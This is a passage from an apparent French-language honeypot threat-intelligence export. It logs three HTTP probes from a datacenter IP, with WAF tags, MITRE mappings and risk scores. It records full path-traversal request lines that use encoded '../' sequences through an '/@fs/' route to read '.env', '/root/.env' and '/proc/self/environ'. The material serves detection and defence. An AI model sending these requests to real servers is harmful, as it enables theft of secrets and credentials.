"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 212,
"payload_entropy": 5.396532719011233,
"port_category": "registered",
"org": "Amazon.com, Inc.",
"service": "http",
"app_proto": "http",
"asn": 16509,
"country": "DE",
"dst_port": 8080,
"risk_waf": 100,
"risk_classification": 74,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 6.2,
"risk_breakdown": {
"waf": 100,
"classification": 74,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 69,
"tag_count": 9,
"anomaly_count": 0,
"campaign_key": "598a8ce9e4c6d7b42caeca535e3467b6e5057bba",
"event_fingerprint": "b79c231128322a086b6d109d892ecf63a157de52",
"classification_reason": "Sonde fichier sensible: fichier configuration \u00b7 R\u00e8gle WAF \u00ab lfi-14 \u00bb \u00b7 Sonde fichier sensible \/ config \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 215,
"precision_signals": [
"SIGMA-web-config-leak",
"INT-http_sensitive",
"INT-upstream",
"INT-waf-score"
],
"kb_rule_ids": [
"SIGMA-web-config-leak",
"INT-http_sensitive",
"INT-upstream",
"INT-waf-score"
],
"confidence_breakdown": {
"waf": 100,
"classification": 74,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 69
},
"named_classification_skipped": false,
"classification_parent": "backup_file_scan",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "DE",
"asn": 16509,
"org": "Amazon.com, Inc.",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "544610c250911ce605588efb3a938aed",
"payload_hash": "d404330ec91a1873095e59bcb45acfad",
"path_pattern_hash": "bc8da3162ef7e76db09c291e4cbd38bb"
},
"target_context": {
"dst_port": 8080,
"service": "http",
"service_name": "http",
"risk_score": 69
},
"payload_preview": "GET \/@fs\/.env?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/",
"method": "GET",
"path": "\/@fs\/.env",
"query_string": "raw??",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"950514:leak-1"
],
"waf_rule_names": [
"lfi-14",
"rce-0",
"nosqli-3",
"leak-1"
],
"request_line": "GET \/@fs\/.env?raw?? HTTP\/1.1",
"request_sample": "GET \/@fs\/.env?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nhost: 62.3.50.33:8080\r\n\r\n",
"payload_snippet": "GET \/@fs\/.env?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/",
"evidence": {
"method": "GET",
"path": "\/@fs\/.env",
"query_string": "raw??",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"950514:leak-1"
],
"waf_rule_names": [
"lfi-14",
"rce-0",
"nosqli-3",
"leak-1"
],
"request_line": "GET \/@fs\/.env?raw?? HTTP\/1.1",
"request_sample": "GET \/@fs\/.env?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nhost: 62.3.50.33:8080\r\n\r\n",
"payload_snippet": "GET \/@fs\/.env?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/",
"classification_reason": "Sonde fichier sensible: fichier configuration \u00b7 R\u00e8gle WAF \u00ab lfi-14 \u00bb \u00b7 Sonde fichier sensible \/ config \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1083"
],
"mitre": "T1083",
"threat_family": [
"path_traversal",
"config_leak_scan"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "0e1899566494a0395dd0cd572c4da85dae09357b",
"protocol_details": {
"http_method": "GET",
"http_path": "\/@fs\/.env",
"request_line": "GET \/@fs\/.env?raw?? HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/@fs\/.env?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/",
"attack_vector": "config file probe \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/@fs\/.env",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 5 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Sonde fichier sensible: fichier configuration \u00b7 R\u00e8gle WAF \u00ab lfi-14 \u00bb \u00b7 Sonde fichier sensible \/ config \u00b7 confiance 100%",
"classification_reason_label_fr": "Sonde fichier sensible: fichier configuration \u00b7 R\u00e8gle WAF \u00ab lfi-14 \u00bb \u00b7 Sonde fichier sensible \/ config \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 69\/100 (\u00c9lev\u00e9) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 74,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 69
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 69,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8080,
"protocol_emulated": true,
"tags_summary": [
"SIGMA-web-config-leak",
"INT-http_sensitive",
"INT-upstream",
"INT-waf-score"
],
"tags_summary_labels_fr": [
"SIGMA-web-config-leak",
"Http Sensitive",
"Upstream",
"Waf Score"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1083",
"mitre_technique": "T1083",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/@fs\/.env",
"request_line": "GET \/@fs\/.env?raw?? HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "config file probe \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/@fs\/.env",
"evidence_snippet": "GET \/@fs\/.env?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 5 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 5 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8080"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"matched_patterns": [],
"ban_policy": "advisory_investigate",
"tags_list": [
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"950514:leak-1",
"http_backup_file_scan",
"http_dependency_confusion_probe",
"http_sensitive_path",
"net_web_probe"
],
"asn_dc_heuristic": true
}
19/06/2026 22:20:11 UTC
TCP
8080 · HTTP
Traversal LFI
lfi path traversal · via HTTP:8080 · (tentative d'exploit) · → /@fs/..%2f..%2f..%2f..%2f..%2froot/.env
Élevée
Élevé · 70
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1083
TA0001
TA0002
Protocole
GET /@fs/..%2f..%2f..%2f..%2f..%2froot/.env UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (K…
Émulateur
HTTP
WAF
43
Recommandation
Investiguer
Tags
950260:lfi-0
950316:lfi-14
950326:rce-0
950468:nosqli-3
Cible HTTP
GET
/@fs/..%2f..%2f..%2f..%2f..%2froot/.env
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8080
Chemin / cible
/@fs/..%2f..%2f..%2f..%2f..%2froot/.env
Pourquoi cette classification : Sonde fichier sensible: traversal ../ · Règle WAF « lfi-0 » · Traversal / LFI dans le chemin · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 70
Confiance : Confiance 100 % — 6 tag(s) WAF
Protocole émulé
1 Signaux
Http Lfi
CRS-930100-sub
Upstream
Waf Score
Tactiques MITRE
TA0001
TA0002
Ligne de requête
GET /@fs/..%2f..%2f..%2f..%2f..%2froot/.env?raw?? HTTP/1.1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Règles WAF
lfi-0
lfi-14
rce-0
nosqli-3
leak-1
Payload (extrait)
GET /@fs/..%2f..%2f..%2f..%2f..%2froot/.env?raw?? HTTP/1.1
connection: close
accept: */*
user-agent: Mozilla/5.0 (Windows NT
Requête brute (extrait)
GET /@fs/..%2f..%2f..%2f..%2f..%2froot/.env?raw?? HTTP/1.1 connection: close accept: */* user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 host: 62.3.50.33:8080
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206e67696e782f312e32342e300d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 81,
"http_header_count": 4,
"http_query_params": 1,
"http_path_depth": 3,
"http_path_ext": "env",
"http_ua_hash": "44d3c8b849357a6a84abd560467256ebced73ec0",
"http_host_hash": "c9908f9a31aefa5902e21ee9fa132cbe056c536d",
"http_target_hash": "b9fd1d86c4d077fbe7be473ac41107bc41a9d2b4",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 242,
"payload_entropy": 5.376006103234385,
"port_category": "registered",
"org": "Amazon.com, Inc.",
"service": "http",
"app_proto": "http",
"asn": 16509,
"country": "DE",
"dst_port": 8080,
"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 6.2,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 70,
"tag_count": 12,
"anomaly_count": 0,
"campaign_key": "acaeabf2fa3d5da3398abfd2c552047cb54d74bb",
"event_fingerprint": "cb23c0233820c6ba179ded42533742738808e850",
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 253,
"precision_signals": [
"INT-http_lfi",
"CRS-930100-sub",
"INT-upstream",
"INT-waf-score"
],
"kb_rule_ids": [
"INT-http_lfi",
"CRS-930100-sub",
"INT-upstream",
"INT-waf-score"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"named_classification_skipped": false,
"classification_parent": "path_traversal",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "DE",
"asn": 16509,
"org": "Amazon.com, Inc.",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "544610c250911ce605588efb3a938aed",
"payload_hash": "4b5ca64933f3a604b3211480dffa4b65",
"path_pattern_hash": "0ab8ede50beddd1575fdd7854aa8b8db"
},
"target_context": {
"dst_port": 8080,
"service": "http",
"service_name": "http",
"risk_score": 70
},
"payload_preview": "GET \/@fs\/..%2f..%2f..%2f..%2f..%2froot\/.env?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT ",
"method": "GET",
"path": "\/@fs\/..%2f..%2f..%2f..%2f..%2froot\/.env",
"query_string": "raw??",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950260:lfi-0",
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"950514:leak-1"
],
"waf_rule_names": [
"lfi-0",
"lfi-14",
"rce-0",
"nosqli-3",
"leak-1"
],
"request_line": "GET \/@fs\/..%2f..%2f..%2f..%2f..%2froot\/.env?raw?? HTTP\/1.1",
"request_sample": "GET \/@fs\/..%2f..%2f..%2f..%2f..%2froot\/.env?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nhost: 62.3.50.33:8080\r\n\r\n",
"payload_snippet": "GET \/@fs\/..%2f..%2f..%2f..%2f..%2froot\/.env?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT",
"evidence": {
"method": "GET",
"path": "\/@fs\/..%2f..%2f..%2f..%2f..%2froot\/.env",
"query_string": "raw??",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950260:lfi-0",
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"950514:leak-1"
],
"waf_rule_names": [
"lfi-0",
"lfi-14",
"rce-0",
"nosqli-3",
"leak-1"
],
"request_line": "GET \/@fs\/..%2f..%2f..%2f..%2f..%2froot\/.env?raw?? HTTP\/1.1",
"request_sample": "GET \/@fs\/..%2f..%2f..%2f..%2f..%2froot\/.env?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nhost: 62.3.50.33:8080\r\n\r\n",
"payload_snippet": "GET \/@fs\/..%2f..%2f..%2f..%2f..%2froot\/.env?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT",
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1083"
],
"mitre": "T1083",
"threat_family": [
"path_traversal"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "74e6f4e70c3dbff71dd43953c164c3de7176ab6e",
"protocol_details": {
"http_method": "GET",
"http_path": "\/@fs\/..%2f..%2f..%2f..%2f..%2froot\/.env",
"request_line": "GET \/@fs\/..%2f..%2f..%2f..%2f..%2froot\/.env?raw?? HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/@fs\/..%2f..%2f..%2f..%2f..%2froot\/.env?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT",
"attack_vector": "lfi path traversal \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/@fs\/..%2f..%2f..%2f..%2f..%2froot\/.env",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 6 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"classification_reason_label_fr": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 70\/100 (\u00c9lev\u00e9) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 70,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8080,
"protocol_emulated": true,
"tags_summary": [
"INT-http_lfi",
"CRS-930100-sub",
"INT-upstream",
"INT-waf-score"
],
"tags_summary_labels_fr": [
"Http Lfi",
"CRS-930100-sub",
"Upstream",
"Waf Score"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1083",
"mitre_technique": "T1083",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/@fs\/..%2f..%2f..%2f..%2f..%2froot\/.env",
"request_line": "GET \/@fs\/..%2f..%2f..%2f..%2f..%2froot\/.env?raw?? HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "lfi path traversal \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/@fs\/..%2f..%2f..%2f..%2f..%2froot\/.env",
"evidence_snippet": "GET \/@fs\/..%2f..%2f..%2f..%2f..%2froot\/.env?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 6 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 6 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8080"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"matched_patterns": [],
"ban_policy": "advisory_investigate",
"tags_list": [
"950260:lfi-0",
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"950514:leak-1",
"http_backup_file_scan",
"http_dependency_confusion_probe",
"http_path_traversal",
"http_path_traversal_high",
"http_sensitive_path",
"net_web_probe"
],
"asn_dc_heuristic": true
}
19/06/2026 22:20:11 UTC
TCP
8080 · HTTP
Traversal LFI
lfi path traversal · via HTTP:8080 · (tentative d'exploit) · → /@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ
Élevée
Élevé · 70
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1083
TA0001
TA0002
Protocole
GET /@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (K…
Émulateur
HTTP
WAF
43
Recommandation
Investiguer
Tags
950260:lfi-0
950264:lfi-1
950316:lfi-14
950326:rce-0
Cible HTTP
GET
/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8080
Chemin / cible
/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ
Pourquoi cette classification : Sonde fichier sensible: traversal ../ · Règle WAF « lfi-0 » · Traversal / LFI dans le chemin · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 70
Confiance : Confiance 100 % — 6 tag(s) WAF
Protocole émulé
1 Signaux
Http Lfi
CRS-930100-sub
Upstream
Waf Score
Tactiques MITRE
TA0001
TA0002
Ligne de requête
GET /@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ?raw?? HTTP/1.1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Règles WAF
lfi-0
lfi-1
lfi-14
rce-0
nosqli-3
Payload (extrait)
GET /@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ?raw?? HTTP/1.1
connection: close
accept: */*
user-agent: Mozilla/5.0 (Win
Requête brute (extrait)
GET /@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ?raw?? HTTP/1.1 connection: close accept: */* user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 host: 62.3.50.33:8080
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206e67696e782f312e32342e300d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 81,
"http_header_count": 4,
"http_query_params": 1,
"http_path_depth": 4,
"http_path_ext": "%2fproc\/self\/environ",
"http_ua_hash": "44d3c8b849357a6a84abd560467256ebced73ec0",
"http_host_hash": "c9908f9a31aefa5902e21ee9fa132cbe056c536d",
"http_target_hash": "fa711481de9459e37362c97fb8ac894fbd4cffd2",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 250,
"payload_entropy": 5.376220314701752,
"port_category": "registered",
"org": "Amazon.com, Inc.",
"service": "http",
"app_proto": "http",
"asn": 16509,
"country": "DE",
"dst_port": 8080,
"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 6.2,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 70,
"tag_count": 11,
"anomaly_count": 0,
"campaign_key": "209da34d0681ee1a1240d83f5a63bbc39a9b52c7",
"event_fingerprint": "fa8a022593c56f9dc84a64d9d8c1029b4ca47bc2",
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 323,
"precision_signals": [
"INT-http_lfi",
"CRS-930100-sub",
"INT-upstream",
"INT-waf-score"
],
"kb_rule_ids": [
"INT-http_lfi",
"CRS-930100-sub",
"INT-upstream",
"INT-waf-score"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"named_classification_skipped": false,
"classification_parent": "path_traversal",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "DE",
"asn": 16509,
"org": "Amazon.com, Inc.",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "544610c250911ce605588efb3a938aed",
"payload_hash": "fa7548b594cadb33218d56a60745ab47",
"path_pattern_hash": "ea093b89ce0735f418f85b88c3d52d61"
},
"target_context": {
"dst_port": 8080,
"service": "http",
"service_name": "http",
"risk_score": 70
},
"payload_preview": "GET \/@fs\/..%2f..%2f..%2f..%2f..%2fproc\/self\/environ?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Win",
"method": "GET",
"path": "\/@fs\/..%2f..%2f..%2f..%2f..%2fproc\/self\/environ",
"query_string": "raw??",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950260:lfi-0",
"950264:lfi-1",
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-0",
"lfi-1",
"lfi-14",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/@fs\/..%2f..%2f..%2f..%2f..%2fproc\/self\/environ?raw?? HTTP\/1.1",
"request_sample": "GET \/@fs\/..%2f..%2f..%2f..%2f..%2fproc\/self\/environ?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nhost: 62.3.50.33:8080\r\n\r\n",
"payload_snippet": "GET \/@fs\/..%2f..%2f..%2f..%2f..%2fproc\/self\/environ?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Win",
"evidence": {
"method": "GET",
"path": "\/@fs\/..%2f..%2f..%2f..%2f..%2fproc\/self\/environ",
"query_string": "raw??",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950260:lfi-0",
"950264:lfi-1",
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-0",
"lfi-1",
"lfi-14",
"rce-0",
"nosqli-3"
],
